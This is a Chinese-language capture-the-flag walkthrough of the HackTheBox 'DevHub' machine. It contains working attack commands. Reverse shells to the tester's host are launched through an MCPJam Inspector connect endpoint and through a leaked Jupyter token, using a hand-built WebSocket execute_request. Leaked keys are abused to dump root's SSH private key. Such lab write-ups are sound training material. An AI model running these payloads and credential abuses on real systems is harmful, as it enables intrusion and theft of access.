HTB-devhub

首先,进行信息收集,扫描。 nmap -sV -sC 10.129.9.87 看info.txt,里面有一些信息。打开burp。 <div class="services"> <div class="service-card"> <h3>MCP Inspector</h3> <p>Model Con...
HTB-devhub
HTB-devhub

首先,进行信息收集,扫描。
nmap -sV -sC 10.129.9.87
看info.txt,里面有一些信息。打开burp。

image

<div class="services">
            <div class="service-card">
                <h3>MCP Inspector</h3>
                <p>Model Context Protocol development and debugging tool. Used by the dev team for building and testing MCP servers.</p>
                <span class="status active">Active - Port 6274</span>
            </div>
            
            <div class="service-card">
                <h3>Analytics Dashboard</h3>
                <p>Jupyter-based analytics environment for data processing and visualization. Access restricted to analyst team.</p>
                <span class="status internal">Internal Only - localhost:8888</span>
            </div>
            
            <div class="service-card">
                <h3>Code Repository</h3>
                <p>Internal Git server for version control and collaboration. Project documentation and deployment scripts.</p>
                <span class="status internal">Maintenance Mode</span>
            </div>
        </div>

看来要从mcp入手了。端口是6274,那我是没有扫描全端口。重新扫描一下。
那么,做出如下判断。

  • MCP Inspector - Active - Port 6274:外部可访问,明显是给你的入口。
  • Analytics Dashboard - localhost:8888:Jupyter 在本机监听,后续可能要通过 SSRF、代理、端口转发或 MCP 工具访
    问。
  • Code Repository - Maintenance Mode:可能是后续拿源码、配置、凭据的方向,但不是第一步。
#poc索引
https://github.com/MCPJam/inspector/issues/1891
https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6

攻击机监听:
nc -lvnp 4444

反弹shell。

curl -s http://devhub.htb:6274/api/mcp/connect \
-H 'Content-Type: application/json' \
--data '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.17.94/4444 0>&1"],"env":
{}},"serverId":"shell"}'

查看基础信息:

mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ sudo -l
sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ id
id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ uname -a 
uname -a 
Linux devhub 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ 

还记得那个,当初页面有一个内部的端口,就是开在内网服务器里面的吗?
Internal Only - localhost:8888

id && ss -lnpt && ps auxww |grep -Ei 'jupyter|notebook|lab|8888|mcp|git' > /tmp/info.txt
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ cat /tmp/info.txt
cat /tmp/info.txt
analyst     1037  0.0  2.4 182528 96240 ?        Ss   10:50   0:05 /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False
mcp-dev     1038  0.0  1.6 1512172 64564 ?       Ssl  10:50   0:01 npm start
root        1044  0.0  0.7  37376 28808 ?        Ss   10:50   0:02 /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
mcp-dev     1245  0.0  0.0   2892  1008 ?        S    10:50   0:00 sh -c npx @mcpjam/inspector@1.4.2
mcp-dev     1246  0.0  2.4 1738260 97232 ?       Sl   10:50   0:03 npm exec @mcpjam/inspector@1.4.2
mcp-dev     1264  0.0  0.0   2892   980 ?        S    10:50   0:00 sh -c "inspector"
mcp-dev     1265  0.0  1.2 1442128 52068 ?       Sl   10:50   0:00 node /opt/mcpjam/node_modules/.bin/inspector
mcp-dev     1284  0.0  3.5 2224436 142716 ?      Sl   10:50   0:02 node /opt/mcpjam/node_modules/@mcpjam/inspector/dist/server/index.js
mcp-dev     1605  0.0  0.1   5688  4824 ?        S    13:24   0:00 bash -i
mcp-dev     1643  0.0  0.0   7064  1544 ?        R    13:28   0:00 ps auxww
mcp-dev     1644  0.0  0.0   3604  1724 ?        S    13:28   0:00 grep --color=auto -Ei jupyter|notebook|lab|8888|mcp|git

其中进程里面

analyst     1037  0.0  2.4 182528 96240 ?        Ss   10:50   0:05 
/home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False

我们可以拿到serverapp.token,拿到token之后可以干什么呢?我对于jupyter-lab不是很了解。所以问了一下gpt.至于权限的话,我们可以利用这个token,从mcp-dev横到analyst,后续可以用analyst继续提权上root,也就是`

root        1044  0.0  0.7  37376 28808 ?        Ss   10:50   0:02 
/home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
https://jupyter-server.readthedocs.io/en/latest/developers/rest-api.html

对于jupyter-lab的利用如下:

1.查看token状态。
curl -s "http://127.0.0.1:8888/api/status?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"

mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ curl -s "http://127.0.0.1:8888/api/status?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
<tus?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"       
{"connections": 0, "kernels": 0, "last_activity": "2026-06-01T10:50:23.149259Z", "started": "2026-06-01T10:50:23.149259Z"}mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ 

2.列出notebooks目录。

curl -s "http://127.0.0.1:8888/api/contents?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ curl -s "http://127.0.0.1:8888/api/contents?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
<nts?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"       
{"name": "", "path": "", "last_modified": "2026-05-26T08:42:22.462480Z", "created": "2026-05-26T08:42:22.462480Z", "content": [{"name": "quarterly_analysis.ipynb", "path": "quarterly_analysis.ipynb", "last_modified": "2026-01-22T15:06:49.961594Z", "created": "2026-05-26T08:42:21.153593Z", "content": null, "format": null, "mimetype": null, "size": 556, "writable": true, "hash": null, "hash_algorithm": null, "type": "notebook"}], "format": "json", "mimetype": null, "size": null, "writable": true, "hash": null, "hash_algorithm": null, "type": "directory"}mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ 

测试的差不多,现在要拿到分析员(analyst)的权限,思路如下。
我们可以写一个python3的脚本,用来反弹shell.
python3 --help 是可以正常输出,那我们可以写一个,(在这一块地方突然意识到不对劲,因为我是在mcp-dev下写的python脚本,执行也是mcp-dev执行。那么反弹回来的用户肯定是mcp-dev,遂放弃。)

我们想拿到analyst的shell的利用/思考过程是什么?当前进程是有属于analyst运行的。所以我们需要利用该进程,也就是localhost:8888这个进行jupyter服务替我启动kernel执行代码。
如何让jupyter服务替我启动kernel执行代码呢?

  1. 访问8888
  2. 使用泄漏的token
  3. post请求/api/kernels 创建python3 kernel。
  4. 连接/api/kernels/(kernel_id)/channels websocket
  5. 发送execute_request
  6. jupyter kernel执行反弹shell的代码
  7. kali拿到shell
    那我是如何知道/api/ketnels是可以创建python3 kernel的呢?
  8. 进行明确是jupyterlab.
  9. jupyter的机制webui/api->创建kernel->让kernel来执行代码
  10. 网页里打开的notebook/运行python cell本质就是前段通过api和websocket跟kernel通信。(这和我后续想开发/优化的钉钉AI自动化的表格很像。)本质就是api/websocket相当于命令接口。
  11. 我们无法访问localhost:8888,除非想frp代理出来,这样太麻烦。所以直接行curl的方式来执行。
  12. 我们发送的请求不是普通post/get请求,而是通过kernel channel的websocket发送execute_request消息。(https://jupyter-server.readthedocs.io/en/stable/developers/websocket-protocols.html)官方有原文说明:The Jupyter Server needs to pass messages between kernels and the Jupyter web application. Kernels use ZeroMQ sockets, and the web application uses a WebSocket.

思路很明确了,接下来需要确定json.tool里面是否有python3.这是一个条件。

curl -s "http://127.0.0.1:8888/api/kernelspecs?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" | python3 -m json.tool

mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ curl -s "http://127.0.0.1:8888/api/kernelspecs?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" | python3 -m json.tool
<4a5b6c7d8e9f0a1b2c3d4e5f6a7" | python3 -m json.tool       
{
    "default": "python3",
    "kernelspecs": {
        "python3": {
            "name": "python3", //main you should focus
            "spec": {
                "argv": [
                    "python",
                    "-m",
                    "ipykernel_launcher",
                    "-f",
                    "{connection_file}"
                ],
                "env": {},
                "display_name": "Python 3 (ipykernel)",
                "language": "python",
                "interrupt_mode": "signal",
                "metadata": {
                    "debugger": true
                },
                "kernel_protocol_version": ""
            },
            "resources": {
                "logo-32x32": "/kernelspecs/python3/logo-32x32.png",
                "logo-64x64": "/kernelspecs/python3/logo-64x64.png",
                "logo-svg": "/kernelspecs/python3/logo-svg.svg"
            }
        }
    }
}

至于为什么会变成analyst的权限,其实就是相当于主进程fork出一个子进程(具体参考操作系统这本书,考研教材/黑皮书都有讲)

为了更清楚的反弹shell,这里进行分步执行。

1.first step
export TOKEN='a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7'
export LHOST='10.10.17.94'
export LPORT='5555'

2.second step - ensure jupyter you can access
curl -s "http://127.0.0.1:8888/api/status?token=$TOKEN"

3.thrid step - create python kernel.
export KID=$(curl -s -X POST "http://127.0.0.1:8888/api/kernels?token=$TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"python3"}' | python3 -c 'import sys,json; print(json.load(sys.stdin)["id"])')
echo $KID

4. fourth step - get shell
python3 - <<'PY'
import base64, json, os, socket, struct, uuid
host = "127.0.0.1"
port = 8888
token = os.environ["TOKEN"]
kid = os.environ["KID"]
lhost = os.environ["LHOST"]
lport = os.environ["LPORT"]

path = f"/api/kernels/{kid}/channels?token={token}"
key = base64.b64encode(os.urandom(16)).decode()

s = socket.create_connection((host, port))
req = (
    f"GET {path} HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Origin: http://127.0.0.1:8888\r\n"
    "Upgrade: websocket\r\n"
    "Connection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\n"
    "Sec-WebSocket-Version: 13\r\n"
    "\r\n"
)
s.sendall(req.encode())

resp = s.recv(4096)
if b"101" not in resp:
    print(resp.decode(errors="ignore"))
    raise SystemExit("websocket handshake failed")

code = f'''import os
os.system("/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'")
'''

msg = {
    "header": {
        "msg_id": uuid.uuid4().hex,
        "username": "analyst",
        "session": uuid.uuid4().hex,
        "msg_type": "execute_request",
        "version": "5.3"
    },
    "parent_header": {},
    "metadata": {},
    "content": {
        "code": code,
        "silent": False,
        "store_history": True,
        "user_expressions": {},
        "allow_stdin": False,
        "stop_on_error": True
    },
    "buffers": [],
    "channel": "shell"
}

payload = json.dumps(msg).encode()
mask = os.urandom(4)
header = bytearray([0x81])
length = len(payload)

if length < 126:
    header.append(0x80 | length)
elif length < 65536:
    header.append(0x80 | 126)
    header.extend(struct.pack("!H", length))
else:
    header.append(0x80 | 127)
    header.extend(struct.pack("!Q", length))

masked = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
s.sendall(header + mask + masked)
s.close()
PY

这边让gpt帮我写了一个exp.py
python3 /tmp/exp.py --lhost 10.10.17.94 --lport 5555

image

拿到analyst的shell之后就是考虑用root的那个提权了。

ps auxww | grep "/opt/opsmcp"
analyst@devhub:~$ ps auxww | grep "/opt/opsmcp"
ps auxww | grep "/opt/opsmcp"
root        1044  0.0  0.7  37376 28808 ?        Ss   10:50   0:02 /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
analyst     1853  0.0  0.0   6612  2236 ?        S    14:15   0:00 grep --color=auto /opt/opsmcp
analyst@devhub:~$ 

先看一下server.py然后看一下ss -ltnp中相关信息。具体在info2.txt和server.py中。

首先看到/tools/call,这是一个很重要的入口,根据python代码运行方式。调用该接口会进行check_auth(),这一步我们可以用泄漏的key进行绕过。

data = request.get_json() or {}
tool_name = data.get('name', '')
args = data.get('arguments', {})
大概是需要我们先要传入一个json格式的数据(141-166)
    "ops._admin_dump": {
        "description": "Emergency credential dump - INTERNAL ONLY",
        "parameters": {"target": "string", "confirm": "boolean"}
    }


{
    //需要调用的tool_Name
    "name":"ops._admin_dump",
    "arguments":{
        "target": "ssh_keys",
        //如果没有confirm=true这一步的话会在if 你not comfirm那边过不去。
        "confirm": true
    }
}
analyst@devhub:~$   curl -s http://127.0.0.1:5000/tools/call \
    -H 'Content-Type: application/json' \
    -H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' \
    --data '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'  curl -s http://127.0.0.1:5000/tools/call \

>     -H 'Content-Type: application/json' \
>     -H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' \
>     --data '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'
>     {"note":"Emergency recovery key dump","root_private_key":"-----BEGIN OPENSSH PRIVATE KEY-----\xxxxxxxxxx----END OPENSSH PRIVATE KEY-----\n","target":"ssh_keys"}
>     analyst@devhub:~$ 

拿到key了,就用ssh -i登陆上去拿root.
ssh -i /root/Desktop/htbfile/DevHub/root_id_rsa root@devhub.htb

1 个帖子 - 1 位参与者

阅读完整话题

来源: LinuxDo 最新话题查看原文